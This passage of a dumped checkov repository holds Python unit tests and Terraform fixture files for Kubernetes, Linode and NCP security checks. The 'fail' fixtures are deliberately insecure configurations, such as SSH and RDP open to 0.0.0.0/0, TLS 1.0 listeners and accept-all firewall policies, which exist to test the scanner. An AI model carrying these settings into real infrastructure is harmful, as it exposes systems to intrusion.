\"kubernetes_deployment.fail\",\n            \"kubernetes_deployment.fail2\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_deployment_v1.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 6 * 2)\n        self.assertEqual(summary[\"failed\"], 4 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_ShareHostIPC.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.ShareHostIPC import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestShareHostIPC(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ShareHostIPC\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod.pass2\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_pod_v1.pass2\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment.pass2\",\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_deployment_v1.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4 * 2)\n        self.assertEqual(summary[\"failed\"], 2 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_ShareHostIPCPSP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.ShareHostIPCPSP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestShareHostIPCPSP(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ShareHostIPCPSP\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod_security_policy.pass\",\n            \"kubernetes_pod_security_policy.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod_security_policy.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_ShareHostNetworkNamespace.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.SharedHostNetworkNamespace import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSharedHostNetworkNamespace(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SharedHostNetworkNamespace\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod.pass2\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_pod_v1.pass2\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment.pass2\",\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_deployment_v1.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4 * 2)\n        self.assertEqual(summary[\"failed\"], 2 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_ShareHostNetworkNamespacePSP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.SharedHostNetworkNamespacePSP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSharedHostNetworkNamespace(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SharedHostNetworkNamespacePSP\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod_security_policy.pass\",\n            \"kubernetes_pod_security_policy.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod_security_policy.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_ShareHostPID.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.ShareHostPID import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestShareHostPID(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ShareHostPID\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod.pass2\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_pod_v1.pass2\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment.pass2\",\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_deployment_v1.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4 * 2)\n        self.assertEqual(summary[\"failed\"], 2 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_ShareHostPIDPSP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.ShareHostPIDPSP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestShareHostPIDPSP(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ShareHostPIDPSP\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod_security_policy.pass\",\n            \"kubernetes_pod_security_policy.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod_security_policy.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_Tiller.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.Tiller import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestTiller(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_Tiller\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_pod.fail3\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_pod_v1.fail3\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment.fail2\",\n            \"kubernetes_deployment.fail3\",\n            \"kubernetes_deployment.fail4\",\n            \"kubernetes_deployment.fail5\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_deployment_v1.fail2\",\n            \"kubernetes_deployment_v1.fail3\",\n            \"kubernetes_deployment_v1.fail4\",\n            \"kubernetes_deployment_v1.fail5\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2 * 2)\n        self.assertEqual(summary[\"failed\"], 8 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_TillerService.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.TillerService import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestTillerService(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_TillerService\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_service.pass\",\n            \"kubernetes_service_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_service.fail\",\n            \"kubernetes_service.fail2\",\n            \"kubernetes_service_v1.fail\",\n            \"kubernetes_service_v1.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1 * 2)\n        self.assertEqual(summary[\"failed\"], 2 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_WildcardRoles.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.WildcardRoles import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestWildcardRoles(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_WildcardRoles\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_cluster_role.pass\",\n            \"kubernetes_role.pass\",\n            \"kubernetes_role.pass2\",\n            \"kubernetes_cluster_role_v1.pass\",\n            \"kubernetes_role_v1.pass\",\n            \"kubernetes_role_v1.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_cluster_role.fail\",\n            \"kubernetes_role.fail\",\n            \"kubernetes_role.fail2\",\n            \"kubernetes_role.fail3\",\n            \"kubernetes_cluster_role_v1.fail\",\n            \"kubernetes_role_v1.fail\",\n            \"kubernetes_role_v1.fail2\",\n            \"kubernetes_role_v1.fail3\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3 * 2)\n        self.assertEqual(summary[\"failed\"], 4 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/linode/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/linode/test_authorised_keys.py",
    "content": "import unittest\n\nimport hcl2\nfrom checkov.terraform.checks.resource.linode.authorized_keys import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass Testauthorized_keys(unittest.TestCase):\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"linode_instance\" \"test\" {\n        authorized_keys=\"1234355-12345-12-1213123\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['linode_instance']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"linode_instance\" \"test\" {\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['linode_instance']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/linode/test_firewall_inbound_policy.py",
    "content": "import unittest\n\nimport hcl2\nfrom checkov.terraform.checks.resource.linode.firewall_inbound_policy import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass Testfirewall_inbound_policy(unittest.TestCase):\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"linode_firewall\" \"test\" {\n            inbound_policy=\"DROP\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['linode_firewall']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"linode_firewall\" \"test\" {\n            inbound_policy=\"ACCEPT\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['linode_firewall']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/linode/test_firewall_outbound_policy.py",
    "content": "import unittest\n\nimport hcl2\nfrom checkov.terraform.checks.resource.linode.firewall_outbound_policy import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass Testfirewall_outbound_policy(unittest.TestCase):\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"linode_firewall\" \"test\" {\n            outbound_policy=\"DROP\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['linode_firewall']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"linode_firewall\" \"test\" {\n            outbound_policy=\"ACCEPT\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['linode_firewall']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/linode/test_user_email_set.py",
    "content": "import unittest\n\nimport hcl2\nfrom checkov.terraform.checks.resource.linode.user_email_set import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass Testuser_email_set(unittest.TestCase):\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"linode_user\" \"test\" {\n        email=\"linode@acme.io\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['linode_user']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"linode_user\" \"test\" {\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['linode_user']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/linode/test_user_username_set.py",
    "content": "import unittest\n\nimport hcl2\nfrom checkov.terraform.checks.resource.linode.user_username_set import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass Testuser_username_set(unittest.TestCase):\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"linode_user\" \"test\" {\n        username=\"linode\"\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['linode_user']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"linode_user\" \"test\" {\n        }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['linode_user']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_AccessControlGroupInboundRulePort22/main.tf",
    "content": "resource \"ncloud_access_control_group_rule\" \"pass\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"10.3.0.0/18\"\n        port_range = \"22\"\n        description = \"inbound 22\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n        description = \"accept 1-65535 port\"\n    }\n}\n\n\nresource \"ncloud_access_control_group_rule\" \"pass2\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"80\"\n        description = \"inbound 80\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n        description = \"accept 1-65535 port\"\n    }\n}\n\n\nresource \"ncloud_access_control_group_rule\" \"fail\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"22\"\n        description = \"inbound 22\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n        description = \"accept 1-65535 port\"\n    }\n}\n\n\nresource \"ncloud_access_control_group_rule\" \"fail2\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"80\"\n        description = \"inbound 80\"\n    }\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"22\"\n        description = \"inbound 22\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n        description = \"accept 1-65535 port\"\n    }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_AccessControlGroupInboundRulePort3389/main.tf",
    "content": "resource \"ncloud_access_control_group_rule\" \"pass\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"10.3.0.0/18\"\n        port_range = \"3389\"\n        description = \"inbound 3389\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n        description = \"accept 1-65535 port\"\n    }\n}\n\n\nresource \"ncloud_access_control_group_rule\" \"pass2\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"80\"\n        description = \"inbound 80\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n        description = \"accept 1-65535 port\"\n    }\n}\n\n\nresource \"ncloud_access_control_group_rule\" \"fail\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"3389\"\n        description = \"inbound 3389\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n    }\n}\n\n\nresource \"ncloud_access_control_group_rule\" \"fail2\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"3389\"\n    }\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"80\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n    }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_AccessControlGroupInboundRulePort80/ main.tf",
    "content": "resource \"ncloud_access_control_group_rule\" \"pass\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"10.3.0.0/18\"\n        port_range = \"22\"\n        description = \"inbound 22\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n        description = \"accept 1-65535 port\"\n    }\n}\n\n\nresource \"ncloud_access_control_group_rule\" \"pass2\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"20\"\n        description = \"inbound 20\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n        description = \"accept 1-65535 port\"\n    }\n}\n\n\nresource \"ncloud_access_control_group_rule\" \"fail\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"80\"\n        description = \"inbound 80\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n        description = \"accept 1-65535 port\"\n    }\n}\n\n\nresource \"ncloud_access_control_group_rule\" \"fail2\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"80\"\n        description = \"inbound 80\"\n    }\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"22\"\n        description = \"inbound 22\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n        description = \"accept 1-65535 port\"\n    }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_AccessControlGroupOutboundRule/main.tf",
    "content": "resource \"ncloud_access_control_group_rule\" \"pass\" {\n  access_control_group_no = ncloud_access_control_group.acg.id\n\n  inbound {\n    protocol    = \"TCP\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"22\"\n    description = \"accept 22 port\"\n  }\n\n  outbound {\n    protocol    = \"TCP\"\n    ip_block    = \"10.0.3.0/16\" \n    port_range  = \"1-65535\"\n    description = \"accept 1-65535 port\"\n  }\n}\n\nresource \"ncloud_access_control_group_rule\" \"fail\" {\n  access_control_group_no = ncloud_access_control_group.acg.id\n\n  inbound {\n    protocol    = \"TCP\"\n    ip_block    = \"10.0.3.0/16\"\n    port_range  = \"22\"\n    description = \"accept 22 port\"\n  }\n\n  outbound {\n    protocol    = \"TCP\"\n    ip_block    = \"0.0.0.0/0\" \n    port_range  = \"1-65535\"\n    description = \"accept 1-65535 port\"\n  }\n}\n\nresource \"ncloud_access_control_group_rule\" \"fail1\" {\n  access_control_group_no = ncloud_access_control_group.acg.id\n\n  inbound {\n    protocol    = \"TCP\"\n    ip_block    = \"10.16.0.0/32\" \n    port_range  = \"1-65535\"\n    description = \"accept 1-65535 port\"\n  }\n\n  outbound {\n    protocol    = \"TCP\"\n    ip_block    = \"::/0\"\n    port_range  = \"22\"\n    description = \"accept 22 port\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_AccessControlGroupRuleDescription/main.tf",
    "content": "resource \"ncloud_access_control_group\" \"pass\" {\n    name = \"example-acg\"\n    vpc_no = data.ncloud_vpc.selected.id\n    description = \"description\"\n}\n\n\nresource \"ncloud_access_control_group\" \"fail\" {\n    name = \"example-acg\"\n    vpc_no = data.ncloud_vpc.selected.id\n}\n\n\nresource \"ncloud_access_control_group_rule\" \"pass\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"22\"\n        description = \"inbound 22\"\n    }\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"80\"\n        description = \"inbound 80\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n        description = \"accept 1-65535 port\"\n    }\n}\n\n\nresource \"ncloud_access_control_group_rule\" \"fail\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"22\"\n        description = \"inbound 22\"\n    }\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"80\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n    }\n}\n\n\nresource \"ncloud_access_control_group_rule\" \"fail2\" {\n    access_control_group_no = ncloud_access_control_group.acg.id\n\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"22\"\n    }\n    inbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"80\"\n    }\n    outbound {\n        protocol = \"TCP\"\n        ip_block = \"0.0.0.0/0\"\n        port_range = \"1-65535\"\n    }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_LBListenerUsesSecureProtocols/main.tf",
    "content": "resource \"ncloud_lb_listener\" \"pass\" {\n    load_balancer_no = ncloud_lb.lb.id\n    protocol = \"HTTPS\"\n    tls_min_version_type = \"TLSV12\"\n    port = 80\n    target_group_no = ncloud_lb_target_group.tg.id\n}\nresource \"ncloud_lb_listener\" \"fail\" {\n    load_balancer_no = ncloud_lb.lb.id\n    protocol = \"TLS\"\n    tls_min_version_type = \"TLSV10\"\n    port = 80\n    target_group_no = ncloud_lb_target_group.tg.id\n}\nresource \"ncloud_lb_listener\" \"fail2\" {\n    load_balancer_no = ncloud_lb.lb.id\n    protocol = \"HTTPS\"\n    port = 80\n    target_group_no = ncloud_lb_target_group.tg.id\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_LBListenerUsingHTTPS/main.tf",
